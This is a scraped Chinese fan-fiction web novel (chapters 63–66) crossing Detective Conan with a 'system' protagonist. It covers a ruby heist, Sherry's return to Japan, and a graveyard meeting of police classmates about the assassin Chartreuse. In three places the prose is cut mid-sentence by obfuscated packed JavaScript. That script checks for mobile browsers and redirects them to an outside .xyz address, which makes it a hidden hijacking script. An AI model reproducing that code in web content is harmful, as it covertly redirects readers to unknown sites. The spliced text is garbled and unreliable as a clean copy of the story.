“浅井弥莎”是“浅井弥生”的姐姐,这两个身份原本只是清浅众多假身份中的两个,却没想到会在这个时候派上用场。他压低帽檐,属于浅井弥生的深棕色桃花眼无焦距地观察四周,快步朝目的地前进。 系统赋予的【隐匿MAX】和【轻功MAX】让他如同真正的影子,在监控死角间快速移动。敏锐的听力让他能够捕捉到远处安保人员的脚步声和对话。系统地图在他的“视线”角落显示着周围的详细地图和人员定位,让清浅得以将其与先前收集到的安保巡逻路线对比。 真正的挑战还是在宝石库本身。位于大楼的核心区域,拥有着多重生物识别锁、重量感应地板、360度无死角的动态捕捉摄像头,以及最麻烦的——随机变换模式、密集如网的红外激光阵列。 恰好此时浅井弥莎散步到距离宝石库不远的一个休息区,看见清浅留下的暗号后,她的平板电脑“恰好”出现了一点技术问题,发出细微的警报声,吸引了附近巡逻安保的注意。 是机会。 那一瞬间,宝石库外围的某个监控画面出现了极短的一瞬雪花干扰——这是黑羽盗一利用干扰设备制造的盲区。虽然时间很短,但早先清浅植入的程序已经识别到这一瞬的破绽,代码启动,替换掉了原先的监控画面。 呼——接下来,集中。 清浅深呼吸,将系统的拍照功能放置附着在瞳孔上,外置视野让他重新体验到获得光明的感受。他快速适应了一下陌生的视野,然后集中于面前的激光阵列上。 当前的周期是……第58号。 【敏捷MAX】和【速度MAX】发挥到极致,瞄准光束间那一瞬的空挡,清浅于光束碰到衣角的前一刻贴在最后的气密合金门上。 到此为止还算顺利。他擦了擦下巴处凝聚的汗水,【撬锁技巧MAX】配合特制的工具,无声地破解掉门上的物理锁。 生物锁倒是不用担心,虹膜、掌纹、声纹,清浅一一拿出对应的家伙什出来——走了罗马纳那边的关系,组织科研部的科技树不会让人失望。 【验证通过。】 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16469261|175638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >冰冷的电子音响起,厚重的合金门悄无声息地滑开一道仅容一人侧身通过的缝隙。 库内,恒温恒湿,冷白色的灯光照射在一个个独立的防弹玻璃展柜上,各种稀世珍宝熠熠生辉。他的目标非常明确——那颗被称为“爱神之泪”的椭圆形红宝石,它被放置在库房最中央的独立立柱上,周围还有一层独立的、更为精密的防护。 时间紧迫。清浅的动作快得只剩下一片残影,他利用【偷盗技巧MAX】,以近乎艺术的手法,绕过了最后的震动感应器和压力感应装置,用一个特制的赝品替换掉真正的宝石。整个过程行云流水,不超过三十秒。 得手后清浅沿着原路返回,利用黑羽盗一制造的另一次短暂干扰,再次如同幽灵般消失在复杂的建筑结构中。 * 大楼天台,夜风凛冽。诸伏清浅已经恢复了便于行动的黑色便装,口罩摘下,露出易容下属于“浅井尘”的那张清秀但淡漠的脸。黑羽盗一则已经卸去了浅井弥莎的大部分易容,只保留着一些改变面部轮廓的基底,穿着方便活动的深色衣物,恢复了原本低沉磁性的男声。 他将爱神之泪高高举起,对准天边那轮皎洁的明月。清冷的月光透过宝石,内部似乎真的有氤氲光晕在流动,如同凝结的露珠,神秘莫测。 “令人忍不住赞叹的美丽,”怪盗先生轻声说,将宝石扔给青年。“可惜不是我想要的宝石。” 诸伏清浅沉默点头表示知道。 ……也是,要是真的是潘多拉的话问题才大。 就在这时,黑羽盗一忽然将宝石放下,转头看向身旁的青年。天台的月光清晰勾勒出对方的脸部轮廓,尤其是那双在夜色中显得更加深邃的桃花眼。那双眼睛里依旧没有任何神采,仿佛两口深不见底的古井。 怪盗的目光在清浅的眼睛上停留了几秒,忽然开口,语气带着一种随意的、却又暗藏深意的探究: “对了,浅井君——” 夜风似乎在这一刻停滞了一瞬。 “——你真的看不见吗?” 问题问得突兀而直接。清浅的身体没有任何明显的震动,但他周身的气息似乎有极其细微的凝滞。他没有立刻“看”向怪盗,而是微微偏头,仿佛在凭借声音定位,然后将那双毫无焦距的深棕色眼眸,精准地“对焦”在黑羽盗一所在的位置。 这个动作本身,可以解释为盲人依靠听力判断方向,但在刚刚经历了那样一场对视觉判断力要求极高的潜入后,这份“精准”就显得有些微妙了。 黑羽盗一看着他那双空洞却仿佛能洞悉一切的眼睛,脑海中闪过潜入过程中的几个画面:避开激光时近乎预判的流畅,在复杂环境中移动时毫无滞涩的路径选择…… 这些,真的是仅仅依靠超乎常人的听力和空间感就能做到的吗? 一个真正的盲人,即使训练有素,在面对某些需要立体视觉和瞬间判断的复杂机关时,也难免会流露出一丝迟疑或依靠其他感官辅助的痕迹——但清浅没有,他的动作利落得就像…… 他能“看见”一样。 对视持续了大约三秒。天台上的空气仿佛都变得粘稠起来。 最终,黑羽盗一率先移开了目光,他轻笑了一声,摆了摆手,语气恢复了之前的轻松,仿佛刚才那个尖锐的问题只是随口一提: “……嘛,算了,当我没问。” 浅井尘看不见,却又看得见。那双毫无焦距的眼睛做不了假,但“看见”这个东西,或许不一定需要依靠视力。 不过那又如何? 他相信这孩子透彻如水晶的灵魂。 64.雪莉回国 诸伏清浅从未轻视过察力惊人的怪盗先生,但眼下还有更重要的事情要做——他需要将这颗石头交给罗马纳,完成这场交易。 至于身份可能暴露的风险……那是未来的自己需要糟心的事情了。他收起宝石,身影一闪,也从天台边缘悄然消失,仿佛从未出现过。 * 时光荏苒,如今不过盛夏,距离那个注定多事的寒冬还有小半年的时间。 日本不愧是组织的大本营,就连事务都比国外多上一大截。核对不完的账目、写不完的行动报告、处理不完的后勤纠纷,突如其来的刺杀指令、与朗姆派系的暗中角力……可谓一张一弛,却从未真正停歇。 再配合上他那些“私事”,诸伏清浅年纪轻轻,气质已经沉淀出了远超出年龄的疲惫与沉寂。 期间,一个看似寻常的插曲,却如同命运齿轮咬合前的一声轻响,悄然发生。 BOSS或许认为时机已经成熟,决定将远在海外的核心研究员——代号雪莉的宫野志保召回日本。而负责此次“护送”任务的人选,正是夏特勒兹。 雪莉……宫野志保。这个名字让他心头微微一沉。 剧情正在按部就班地展开,他从未像此刻这般清晰地意识到这件事。在日本这个大舞台上,出场角色正在一个一个逐渐就位。 在和雪莉见面之前,他利用极其有限的一点空闲时间,做了一件“私事”——他去爬了辛德勒公司的窗户,和他两年前在图书馆结交的小朋友弘树见了一面。 ——并恬不知耻地教了纯洁的小孩一大堆大人世界的“灵活变通”。 弘树:虽然不是很理解,但浅井哥哥这么说一定有他的道理。 清浅:……这小孩太乖了容易被人欺负啊。[忧心忡忡.jpg] * 国际机场的喧嚣被隔绝在贵宾通道之外。当那个茶色短发、神情淡漠的女孩出现在感知中时,诸伏清浅安静地立于接机处。 小孩长个快,不过两年时间,单从她走近时脚步声的细微高度变化和呼吸声的方位判断,诸伏清浅就知道雪莉长高了不少。 褪去了一些稚气,那份属于科学家的冷静和早熟更加明显。 夏特勒兹倒是没怎么变,依旧是那身不起眼的黑衣,眼前蒙着黑缎,沉默得像一尊没有生命的雕像。周身散发着生人勿近的疏离气息,只有在必要的时候,才会通过手机进行简短的交流。 ……就是不知道是不是错觉,他周围的气息好像比之前凝滞了一些。 或许是因为两年前那血淋淋的一幕和随之而来的、过于沉重的对话,在他们之间划下了一道无形的鸿沟,雪莉显得格外沉默。 她走到夏特勒兹面前,简短地交代了下需要带回日本的资料和特殊器材,以及一些个人生活上的基本需求,语气公事公办,听不出什么情绪,之后就抿紧了嘴唇,不再多说一个字。 夏特勒兹简单地在手机上敲出【收到,会安排】几个字,便转身示意她跟上,去处理行李和通关事宜。他的动作流畅自然,仿佛他们之间从未有过那场颠覆性的对话,仿佛他只是一个纯粹执行任务的工具。 ……也是,毕竟那是夏特勒兹。 宫野志保在心里自嘲地笑了笑。他或许真的没有将之前的事情放在心上。 冷静下来仔细回想,那所谓的“共犯”誓言,可能只是他在那个特定情境下,为了安抚她而说的漂亮话。 在这个组织里,真情实感本就是最奢侈也最危险的东西。 她沉默地跟在他身后,看着他挺拔却透着一丝孤寂的背影,脑海中却不自觉地回响起两年前他蹲在自己面前,用那双蒙着黑缎的眼睛“凝视”着自己,说出那句石破天惊的话—— 「[夏特勒兹忠于那位先生,但我不会忘记我来自何方。]」 「[总有一天我能够用真名重新和你认识。]」 心底那丝被理智压下的希冀,如同风中的残烛,明明暗暗。她用力掐了掐自己的掌心,将翻涌的情绪压下。 * 科研组的消息一向难以打听,但好在他争取到了雪莉的监护权利,能够定期将小孩从那个窒息的地方捞出来和她姐姐见面。 雪莉本人对此曾感到困惑,在一次前往基地的路上,她难得带着些属于她这个年纪的别扭,低声吐槽过:“为什么我的监护人偏偏是你?” 诸伏清浅闻言,只是平静地在手机上调出最高权限的成员名单,将屏幕转向她。 “[根据现有代号成员权限、任务兼容性及BOSS核准名单显示,如果你的监护人不是我,那么按顺位,将会是琴酒。]” 雪莉盯着屏幕上那个令人不寒而栗的代号,瞬间噤声。 “……好吧,我收回我刚才说的话。” 时间悄然流逝,不过短短几个月。诸伏清浅虽然没有刻意去打听科研组的具体进展,但敏锐的听觉和感知让他足以从过往科研人员交谈时压抑不住的兴奋语调、脚步中透出的轻快/感判断出——雪莉的加入,如同给一潭死水注入了活泉,那个停滞已久的关键项目,必定取得了不小的突破。 这天,又到了月底,是雪莉与姐姐见面的日子。长长的、铺着冷白地砖的实验区走廊,回荡着科研人员们激动的讨论声。 诸伏清浅习惯将自身存在感压低,如背景板般略过正在兴奋交谈新一组数据的科研人员,在雪莉的办公室门口站定。 里面有人。 他收回手,安静地立于门外,如同蛰伏的猎手,将里面的对话清晰地纳入耳中。 “雪莉大人,这是最新一组实验数据!您看,活跃度提升了整整十五个百分点!稳定性也远超预期!”一个年轻的男声,充满了难以抑制的兴奋,语速快得像连珠炮。 “嗯,我看到了。”雪莉的声音响起,依旧是那副稚嫩却冷静沉稳的调子,“数据确实有改善。” “何止是改善,这是一个里程碑式的进展!雪莉大人,只要我们乘胜追击,连续进行下一阶段的诱导实验,我有预感,一定能突破那个关键瓶颈!”研究员的声音更加激动,几乎带着颤音。 短暂的沉默后,雪莉的声音再次响起,带着一丝委婉:“我明白你的期待。不过,今天的实验安排就到此为止吧。后续的分析和实验计划,过几天我会详细制定。” “过几天?!”研究员的声音陡然拔高,充满了难以置信和急切,“雪莉大人!您到底明不明白这个研究的重要性?!这关乎到……”他似乎意识到失言,猛地压低声音,但语气更加焦躁。 “现在已经到了最关键的时刻,每一分每一秒都至关重要!您怎么能在这个时候想着……想着别的事情?!” ……啧,他要不要听听自己在说什么假话?诸伏清浅皱眉,屈指在门板上不轻不重敲了两下。没等里面回应便径直推开了门。 办公室内,雪莉坐在宽大的办公桌后,面前堆着厚厚的资料和数据板,她的手指无意识地蜷缩着。一个穿着白大褂、戴着眼镜的年轻研究员正站在桌前,身体前倾,脸上还残留着未褪去的激动与一丝不满。 两人的目光同时投向门口。当看到那个一身黑衣、眼蒙黑缎的身影时,研究员的脸色瞬间白了白,下意识地站直身体。 “[时间到了,我来接你去见姐姐。]”诸伏清浅没有理会那个研究员,直接对着雪莉的方向,用电子音平静地陈述。 “夏特勒兹大人!”研究员似乎才反应过来,急忙出声。他的语气带着急切,甚至有一丝试图阻拦的意味,“请您理解!我们的研究正在关键阶段,雪莉大人现在不宜离开!这关乎到组织的核心利益!” 诸伏清浅的脚步停住。他没有立刻转向研究员,但他周身原本收敛的气息,却如冰原上骤然刮起的暴风雪,无声无息地弥漫开来。办公室内的温度仿佛瞬间降至冰点。 研究员的声音戛然而止,像是被一只无形的手扼住了喉咙,冷汗瞬间浸湿了他的后背。 他惊恐地看着那个蒙眼的青年,明明对方没有“看”他,他却感觉像是被某种凶兽锁定,动弹不得。 死寂般的沉默中,电子音再次响起,语调没有任何起伏,却比严冬的寒风更刺骨: “[我是谁?]” 研究员浑身一颤,嘴唇哆嗦着:“夏、夏特勒兹大人……?” “[那她是谁?]”电子音又问。 研究员的目光惊恐地扫过面无表情的雪莉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16473609|175638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,声音发颤:“……雪、雪莉大人。” “[那你又是谁?]” 第三个问题抛出,研究员的脸色已经惨白如纸,他张了张嘴,却一个音节也发不出来。 在场的三人中,只有他自己,不是拥有生杀予夺权力的代号成员。 他之前的激动和僭越,在此刻这冰冷的三连问下,显得如此可笑和不知死活。 不需要他回答。诸伏清浅“看”向他,尽管蒙着黑缎,那研究员却感觉有两道冰冷的视线穿透了绸布,钉在他的灵魂上。 “[那么这里,又有你什么事。]”电子音冰冷地陈述,“[我以为,能在核心区域工作的科研人员,应该更有自知之明。]” 他微微偏头,似乎是在“审视”对方。 “[论身份,雪莉是BOSS亲授代号的核心成员;论实力,你们这个项目在她接手前停滞了多久,你自己心里清楚。若不是她的加入,你们整个课题组,早就该因毫无建树而被那位先生问责清理。]” 研究员的双腿发软,几乎要站立不住,哪里还有半分之前的激动和气势。 “[做好你分内的事,记住你的位置。]”最后一句警告,轻飘飘的,却带着不容置疑的终结意味。 说完,诸伏清浅不再理会那个几乎要瘫软在地的家伙,转向雪莉,声音恢复了一贯的平淡:“[雪莉,走了。]” * 宫野志保深吸了一口气,压下心中翻涌的情绪。她站起身,没有再看那个研究员一眼,安静地走到了诸伏清浅身边。 走在漫长的走廊上,宫野志保忍不住悄悄侧目,看向走在自己斜前方的青年。 让她意外的是,刚刚在办公室里那个气势骇人、如同出鞘利剑般的夏特勒兹,此刻周身的气息已经彻底平复下来,变得如同无风的湖面般宁静……甚至带着一丝若有若无的疲惫。 不知道是不是感知到了她探究的视线,青年放慢了脚步,掏出手机。片刻后,电子音在安静的走廊里轻轻响起: “[有时候,面对那些习惯得寸进尺的家伙,稍微表现得硬气一点,也没关系的。]” 宫野志保愣了一下,随即撇撇嘴,低声嘟囔:“……说得倒好听。” 她知道他说的是对的,但在组织里,尤其是在科研组这个论资排辈、关系复杂的地方,她一个空降的“天才少女”,想要完全立足,仅靠硬气远远不够。 电子音沉默了几秒,再次响起,这次的内容却让她心头微微一震: “[雪莉,你比你自己所想的,还要重要得多。]” “[在这个地方,你可以稍微贪心一点。]” 是在说她对于组织的价值,让她有资本可以强硬?还是……在暗示她,可以对自己渴望的东西——比如自由,比如与姐姐的相聚——抱有更多的期待? 宫野志保沉默了。这句话像一颗投入心湖的石子,激起了层层涟漪。 她想起了两年前那个清晨,他沾着血,却对她许下的那个关于“黎明”和“共犯”的诺言。这段时间以来,夏特勒兹虽然沉默寡言,却始终在用他的方式履行着“监护人”的职责,为她挡去了不少明枪暗箭。 在即将走出实验区大门时,她忽然停下了脚步,抬起头,看向那个似乎永远波澜不惊的青年背影,声音很轻,却带着一丝不易察觉的试探和脆弱: “……呐,夏特勒兹。” 诸伏清浅停下脚步,微微侧身。 宫野志保深吸一口气,仿佛用尽了勇气,问出了那个盘旋在她心头已久的问题: “你之前说的那句话……”那句共犯和黎明的宣言。 “那句话,还算数吗?” 走廊里陷入了短暂的寂静。只有远处隐约传来的仪器运行声,证明着时间仍在流动。 诸伏清浅没有立刻回答。 宫野志保紧张地观察着对方,但对方一直保持着平静的神色,她根本看不出什么。 过了好一会儿,蒙眼青年才慢慢地掏出手机。 最终,电子音响起,给出的却是一个看似完全无关、甚至有些无厘头的回答: “[……实验台很冰,躺在上面的时候,超级难受。]” 65.公安在此提醒您 最近组织里,八百年也不闻一点风声的科研组似乎有了不少动作,可惜消息被严格限制在极小的圈子里,就连波本这样顶尖的情报人员,也难以探出什么真正有价值的东西。 行动组似乎随着科研组的动作动起来了,一时间各种任务雪花般下派,暗杀、护卫、物资转移……一众代号成员忙到飞起。 情报组倒是和往常一样暗流涌动,但细心观察就能发现,基地内那些惯常游荡搜集八卦的闲散人员少了不少,仿佛都被无形的力量驱使着投入了更深入的地下情报网络。 “真是的,你们行动组又在发什么疯,‘唰’的一下把任务要求扔过来,前情提要倒是一点也不给。”波本将手上的白手套摘下来擦了擦脸颊上的血迹。 他们刚刚完成了一项狙/杀一位议员的任务,虽然公安那边早已做好万全准备,准备了替身并布置好现场,但刚才莱伊那一发精准的狙击,还是让在“目标”附近、伪装成服务员的安室透被溅了血。 任务要求也只是要求他在宴会中潜伏并拉开特定位置的窗帘,只字未提目标身份……要是早点告诉他,他绝对会离目标远远的! 莱伊只是默默擦拭着他的狙击枪,对于波本习惯性的抱怨充耳不闻。反正无论他回答成什么样,波本都会找到由头呛回来,还不如一开始就闭嘴。 “莱伊我总感觉你在想什么失礼的东西。”波本眯起紫灰色的双眼,语气危险。 “ho——是吗。”莱伊终于懒懒地应了一声,尾音拖长,带着不言而喻的敷衍。 “好啦好啦,你们两个。”苏格兰适时出声,打断了这每日例行的对峙。他弯腰收拾着现场的痕迹,动作流畅而谨慎。 黑色长发男无所谓地耸耸肩。 不过他大概知道一点最近的事情——宫野明美在与他的上次约会中,曾不经意间提起,她的妹妹志保似乎结束了海外研究,返回了日本。 遗憾的是,那位天才科学家妹妹似乎对他这位“姐姐的男朋友”抱有显而易见的抵触,使得明美至今未能安排一次正式会面。 一个犯罪组织成员的妹妹,能够如此自然地被姐姐提及,且不避讳与他这个“组织成员”男友谈论,这本身就暗示着,那位妹妹大概率也身处同一片阴影之下。 稍微有点可惜。 如此高压且密集的任务节奏下,时间仿佛被加速。当威士忌组终于勉强清理完手头堆积的任务,获得一丝难得的空闲时,才恍然惊觉时间已从盛夏进入初冬。 * 【11月6日,下午三点,涩谷附近,月参寺】 寒风掠过墓园一排排静默的石碑,卷起枯叶,发出沙沙的轻响,更添几分肃杀与寂寥。 虽然一开始就知道□□处理班的工作九死一生,但当死亡真真切切地发生在身边时,萩原还是感到一阵恍惚。 当时的情况很紧急,排爆小队进入现场时已经发现倒计时所剩无几。为了能让其余人及时撤离,身为队长的西山以及两位排爆技术不错的队员留在原地拆除炸/弹。 虽时间不可停止,但最终因为炸/弹引爆前被拆除了大半,所以最后的爆炸并没有导致太严重的损失。 ……不过西山队长和那两名队员是回不来了。 恰巧葬礼当天清晨,萩原接到消息需要带队出任务,已经调任到搜查一课的松田正在和佐藤美和子出任务。当两人折腾大半天收队回到警视厅时,就收到西山队长早已下葬的消息。 “没想到最先走的竟然是西山啊……” “……小阵平,好歹加上‘前辈’两个字哦?”回过神来的萩原轻声接过话头,毕竟西山警部补比他们更早成为警察。 他转向身旁魁梧的男人,努力扯出一个往常那般爽朗却难掩勉强的笑容:“抱歉啊班长,没想到时间撞在一块了。” “这有什么,我们约饭什么时候都能约。”祭拜完的魁梧男人重新叼上牙签,宽厚的手掌用力拍了拍两人的肩膀。 他的目光随即变得锐利,如同经验丰富的猎犬,精准地投向墓园一侧那排影影绰绰的树木。 “不过那边的那两位,真的是想约也约不出来啊。” 话音落下,树后的阴影里,仿佛应和着他的话语,缓缓走出了两个身影。 “小降谷/景老爷?!”萩原和松田几乎是异口同声,惊愕之情溢于言表。 * “不愧是班长,”诸伏景光唇角微扬,露出一抹带着温暖与无奈的笑容,“我们明明已经很小心了。” 伊达航从鼻子里哼出一声笑,牙签在嘴角动了动:“你也没有刻意藏吧?” 他审视着两位旧友,目光里是洞悉一切的了然与深藏的关切。 他比谁都清楚,他们选择的道路意味着什么,每一次这样的现身,都可能伴随着巨大的风险。 “听说你调到搜查一课去了,那边怎么样?”能够见到同期,对他们来说无疑是一件幸事。降谷零罕见地放下了情报人员波本的神秘主义做派,露出一个独属于降谷警官的笑来。 “还算不错吧,毕竟有班长带着——对吧,前辈?” “你还好意思说,”伊达航半月眼吐槽,“高桥警部可是拉着目暮警部唠叨了好久,我在一旁也听得耳朵都起茧子了。” “哈哈,毕竟是高桥警官的心头肉嘛,当然不放心啦~”萩原毫不犹豫加入调侃。 “如果他的另一位心头肉好好穿防爆服的话,他会更放心的。” 萩原研二收到暴击:“……小阵平!”从那次之后他都有好好穿啊! 松田阵平才不管还在假嚎的人,看向失联好几年的俩人:“喂,你们两个这样出现和我们碰面真的没问题吗?” “之前在餐厅时,你们身旁那个黑长直发的混血男,气场可不像是好人。” 混血……啧,卷毛混蛋你这个家伙。 诸伏景光流畅接过话头,语气温和却带着明确的界限:“没事的,松田。我们那边的……‘乐队活动’,暂时告一段落。” 他再次借用了餐厅里的借口,声音平稳,“正好有空,想着或许能碰上班长和你们。” 是专门堵我们的吧。 萩原研二的目光在降谷零和诸伏景光之间微妙地转了转,他伸手搭上松田的肩膀,姿态看似随意,却精准地将话题引向核心: “所以,你们两个大忙人,特意挑这个时间地点来这里‘偶遇’我们,总不会只是为了给西山前辈上柱香吧?” 他收敛了笑容,眼神变得认真,“你们的工作,不是越少和熟人接触越安全吗。” “理论上来说,是的。”诸伏景光坦然承认,他脸上的温和渐渐褪去,被一种沉重而严肃的神情取代。 “但我们之前不是在餐厅意外碰到了吗,那次之后,有些事,我们觉得必须和你们谈一谈。” 降谷零上前一步,与景光并肩而立。 “夏特勒兹……”他顿了顿,这个名字在寂静的墓园里显得格外冰冷,他随即换上了那个对萩原和松田而言更为熟悉的称谓,“不,或许对你们而言,是‘浅井尘’。” 紫灰色的眼眸锐利如淬火的刀锋,紧紧锁定萩原研二和松田阵平,仿佛要穿透他们的灵魂,一字一句地问道: “你们和他,到底是什么关系?” * 浅井尘,盲哑的自由音乐人,但属于是歌火人不火的类型,降谷零调查他时才发现不少作品他都很耳熟。 降谷零发现“浅井尘”的资料虽然低调,但却意外的透明好找。 ……也是,论谁都不会想到一位盲哑人竟然是里世界的杀手吧?而且因为特征太过明显,夏特勒兹的主观存在感其实很低——除了和他有过交集的,大部分人都不怎么能见到真人。 深挖下去,若不是降谷零专门从萩原松田的关系网去查,他也发现不了浅井尘的其他马甲。 刀子精作家渡边影,治愈系漫画家绿川三鹤——三个身份都是公众人物,整合起来的影响力不容小觑。 表世界的身份经营得完美无瑕,甚至他一时间也说不上来夏特勒兹和贝尔摩德哪一个更好逮捕。 什么关系……萩原研二和松田阵平都因这突兀而直接的问题愣了一下。 随即,松田阵平嗤笑一声,带着点难以置信的意味:“哈?就为了这个?你们搞这么大阵仗,就是为了问这个?” “果然小浅井是被牵扯到你们的事件里去了吗?”虽然这么说着,但从小降谷和小诸伏的反应来看,萩原还是认为这种可能性不太大。 “这很重要,松田。”诸伏景光的语气温和却带着不容置疑的意味,“夏特……浅井尘比你们想的还要危险,甚至比那个长发混血男更危险。” 降谷零:“而且准确的来说,不是他被牵扯进我们的事件里,而是他就是事件的一部分。” 诸伏景光:“所以拜托了,请回答我。” “一个盲哑人怎么可能会危……” “理解一下啊小诸伏小降谷!”萩原研二眼见两位同期背后几乎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16486961|175638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要实质化冒出的黑气,眼疾手快地捂住松田的嘴,“就算我见多识广我也很难想象小浅井一个残障人士要怎么在你们那个……嗯,‘领域’里混出名堂啊!” 降谷零语气凉凉:“你不要和我说你们没有察觉到过他的异常。” 自觉收到挑衅的松田:“哈?!” “所以——”在一旁听了半天的伊达航,终于伸出宽厚的手掌,带着不容抗拒的力道,重重地分别拍在快要炸毛的卷毛和浑身紧绷的金毛肩膀上,打断了这剑拔弩张的气氛。 他叼着牙签,看着龇牙咧嘴的两人,脸上是核善无比的笑容: “现在,有谁能用我能听懂的方式,告诉我到底发生了什么吗?” * 寺庙四周空无一人,只有风声穿过树林,被窃听的风险极低。但这终究不是一个能够坦然探讨核心机密的地方。 可降谷和诸伏的时间很紧迫,来不及将人带到绝对安全的公安据点签署那些繁琐的保密协议,再进行详细说明。 他们只能压低声线,隐晦地透露些许信息。但仅仅只是一点,也足以颠覆众人的认知。 比如,这对幼驯染,正共同潜伏于同一个庞大的跨国犯罪组织。 比如,“夏特勒兹”这个名字,代表着BOSS的亲信,以及其在组织内令人忌惮的地位。 以及—— “他是我们的审查官,然后现在他是hiro的上司。” 萩原研二听完后长舒一口气,仿佛要将胸中的震惊与混乱一并排出:“呼——好吧,我大概理解为什么你们这么警惕小浅井了。” “萩原……”诸伏景光还想再强调什么。 “但是。”萩原研二打断了他。那双总是含笑的紫罗兰色下垂眼,此刻定定地凝视着两位身处黑暗的同期,里面没有丝毫玩笑的意味。 松田阵平抱着双臂,墨镜后的目光锐利:“既然你们已经查到了‘浅井尘’,那应该也知道那件事吧?” “四年前那场爆炸案,可以算是浅井救下了hagi。” 降谷零和诸伏景光当然知道。那份卷宗他们甚至反复研究过,试图找出夏特勒兹此举的深意与破绽。 可是—— “夏特勒兹负责的是卧底的排查和审讯工作。” 一时间,五个人陷入了一种窒息的沉默。 信任与怀疑、恩情与危险的碰撞,无声撕扯着每个人的判断。 最终,降谷零深吸一口气,努力压下翻涌的情绪,再次开口,声音里带着不容错辨的恳求与警告:“不要再和他接触了,松田,萩原。” 这是最理智,也是最安全的选择。 萩原和松田了解降谷和诸伏。他们深知,这两位同伴绝非危言耸听之人。他们此刻表现出的凝重,是无数次在刀尖上行走所换来的血的教训,真实得令人心悸。 可是巨大的割裂感让他们无法将夏特勒兹的形象和浅井尘融合在一块。 “小降谷,小诸伏。”萩原的声音恢复了平时的语调,却多了一份郑重,“我们明白了。我们理解你们的担忧,也相信你们给出的警告是出于好意。” 他停顿了一下,在降谷零略微放松的目光中,继续道:“我们答应你们,不会主动去接触他,也不会刻意去调查他的背景。” 但是—— 松田阵平拉下些许墨镜,凫青色的眼眸里是毫不妥协的锐利与坚持:“这仅限于‘我们主动’的情况。如果……如果他来找我们,那就是另一回事了。” 他重新推好墨镜,隔绝了视线,语气带着他特有的执拗:“我相信我亲眼所见,亲身所感。四年前的爆炸案,还有这些年相处的点滴,不是你们一句‘表演’‘伪装’就能全部抹杀的。 在获得确凿的、能说服我的证据之前,我保留我的判断。” ……好吧。至少,他们听进去了大部分,并且做出了不主动涉险的承诺。 降谷零用手用力抹了把脸,试图驱散眉宇间的疲惫。诸伏景光的唇角则重新勾起一抹无奈而又带着些许宽慰的浅笑。 他们再次清晰地认识到,眼前的同期,从来都不是需要他们单方面保护的弱者。 他们是并肩打击犯罪的战友,是拥有独立判断能力和承担责任的优秀警察。他们给出了警告,尽到了职责,而对方在理解风险后,依然选择保留一份基于自身经历的、作为警察的直觉与坚持。 ……这或许,已经是眼下这种复杂局面中,所能争取到的最好结果了。 66.首次交锋(上) “到涩谷站就把我放下吧,剩下的路我自己能走。” 由于回程的路上意外多了两个人,一辆车显然不够坐。一番商量后,伊达航和诸伏景光坐上了萩原研二的车,而松田阵平则自然地拉开了降谷零副驾驶的车门。 “不好意思,我本来也只能送你到附近。”降谷零有些抱歉,以他们的处境可不能惹人注意。 车厢内陷入短暂的沉寂,只有引擎平稳运行的声响。驶出一段距离后,降谷零握着方向盘的手指几不可察地收紧了些。 他目视前方,紫灰色的眼眸在暮色中显得格外深邃,终于还是将盘旋在心头的问题问出了口: “……呐,松田。”他顿了顿,声音低沉,“你认为夏……浅井尘是个怎样的人?” 松田阵平嘴角勾起一个几不可察的弧度,带着点“你终于问了”的了然。他丝毫不惊讶降谷零会问这个问题,甚至觉得这家伙能憋着一路直到现在才开口,已经算是某种定力的体现。 “怎么样的人啊……” 松田像是认真思考了一下,声音里听不出太多情绪,“一个……看起来挺积极生活的家伙吧。” 他的脑海中不受控制地闪过几个画面:充满生活气息的浅井宅、在饭厅一起吃自制披萨的三人、一起拆盲盒的快乐…… 一丝极淡的笑意刚爬上他的嘴角,便迅速湮灭无踪,如同被风吹散的烟灰。 “说实话,那家伙经常满世界跑去搞他的‘创作’,神龙见首不见尾。我们线下能碰上面的次数,掰着手指头都能数过来。” 他的语气带着点不易察觉的抱怨,随即又扯了扯嘴角,“反而是萩那家伙,跟他在线上聊得火热,也不知道哪来那么多话。” “不过,今天听你们这么一说,他那所谓的满世界‘取材’,恐怕有不少时间,是花费在你们那边的‘业务’上了吧。” 降谷零默然,车厢内弥漫着一片沉滞的寂静,只有引擎低沉的轰鸣与窗外倒退的城市光影。 就在这时,车窗外的道路旁,一辆停靠的警车闪烁着熟悉的红蓝光芒,突兀地闯入视线。 “看来有工作找上门了,刑警先生。”降谷零缓缓将车子停在安全距离外,双手扶住方向盘调侃友人。 “真是的,”松田无奈叹了口气,伸手利落地解开安全带,动作间带着认命般的熟练。“今天真是见鬼了。” * “哈?有人偷溜进废弃大楼打架闹事?”松田阵平挑起眉,语气里充满难以理解却又不得不接受的荒谬。“不是,谁这么闲?” 